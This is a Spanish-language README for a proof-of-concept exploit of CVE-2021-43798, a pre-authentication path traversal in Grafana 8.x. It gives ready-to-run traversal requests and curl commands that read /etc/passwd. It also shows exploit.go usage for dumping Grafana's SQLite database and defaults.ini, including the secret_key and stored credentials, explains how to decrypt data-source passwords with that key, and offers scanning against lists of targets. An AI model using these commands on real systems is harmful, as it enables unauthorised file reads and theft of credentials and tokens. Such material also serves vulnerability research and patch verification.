
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-autenticación)
Grafana 8.x Path Traversal (Pre-Auth)
Todo el crédito es para j0v y su tweet https://twitter.com/j0v0x0/status/1466845212626542607
Esto es solo con fines educativos. No soy responsable de tus acciones. Úsalo bajo tu propio criterio.
De buena fe, he retenido la publicación de este PoC hasta que esta vulnerabilidad sea pública o haya un parche disponible.
Vi un tweet de j0v afirmando haber encontrado un fallo de path traversal en Grafana. Por curiosidad, empecé a mirar el código fuente de Grafana. En el tweet se mencionaba que era un fallo pre-autenticación. Solo hay un par de endpoints públicos de API en Grafana, y solo uno de ellos tomaba una ruta de archivo del usuario.
Grafana tiene un endpoint público de API, /public/plugins/:pluginId, que te permite ver los recursos de un plugin. Esto funciona
proporcionando un :pluginId válido y luego especificando la ruta del archivo, como . Sin embargo, Grafana no
sanea la ruta de archivo proporcionada por el usuario, lo que provoca un path traversal.
img/logo.pngEl directorio al que se accede está en <grafana>/public/app/plugins/panel/<pluginId>. En una instalación estándar de Grafana,
el directorio de datos de Grafana es /usr/share/grafana. Por lo tanto, retrocediendo 8 directorios, puedes llegar al directorio
raíz del sistema de archivos.
Petición HTTP:
GET - http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Código ofensivo: https://github.com/grafana/grafana/blob/c80e7764d84d531fa56dca14d5b96cf0e7099c47/pkg/api/plugins.go#L284
Nota: Esto no funciona en el navegador (que colapsa automáticamente el ../ en la ruta)
Se puede probar con curl usando el argumento --path-as-is:
curl --path-as-is http://localhost:3000/public/plugins/alertlist/../../../../../../../../etc/passwd
Estos son algunos ataques que se pueden llevar a cabo usando esta vulnerabilidad
Grafana, por defecto, usa una base de datos sqlite3. Esta se almacena en /var/lib/grafana/grafana.db. Puedes usar el
script exploit.go para volcar esta base de datos
Ejemplo:
go run exploit.go -target http://localhost:3000 -dump-database -output grafana.db
Luego puedes leer esta base de datos para obtener usuarios, tokens de autenticación y fuentes de datos.
Grafana almacena su configuración en un archivo <grafana>/conf/defaults.ini. Hay un par de valores interesantes aquí,
como secret_key, host, user, password si se usa mysql en lugar de sqlite3.
Ejemplo:
go run exploit.go -target http://localhost:3000 -dump-config -output defaults.ini
Grafana cifra todas las contraseñas de las fuentes de datos usando AES-256-CBC con la secret_key del archivo de
configuración defaults.ini. Podemos volcar este archivo de configuración, como se muestra arriba, y luego descifrar los
valores de la base de datos.
Grafana almacena los tokens de sesión en la tabla auth_tokens. No he podido tomar una sesión, pero si lees el código
fuente, podrías descubrir cómo hacerlo.
root@localhost:/# go run exploit.go -target http://localhost:3000 -file /etc/passwd
CVE-2021-43798 - Grafana 8.x Path Traversal (Pre-Auth)
Made by Tay (https://github.com/taythebot)
[INFO] Exploiting target http://localhost:3000
[INFO] Successfully exploited target http://localhost:3000
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
grafana:x:472:0:Linux User,,,:/home/grafana:/sbin/nologin
go run exploit.go -target <target> -file <path>
go run exploit.go -target <target> -file <path> -output <file>
Nota: No funciona con múltiples objetivos
go run exploit.go -list <list> -file <path>
go run exploit.go -target <target> -dump-config
go run exploit.go -target <target> -dump-database
make build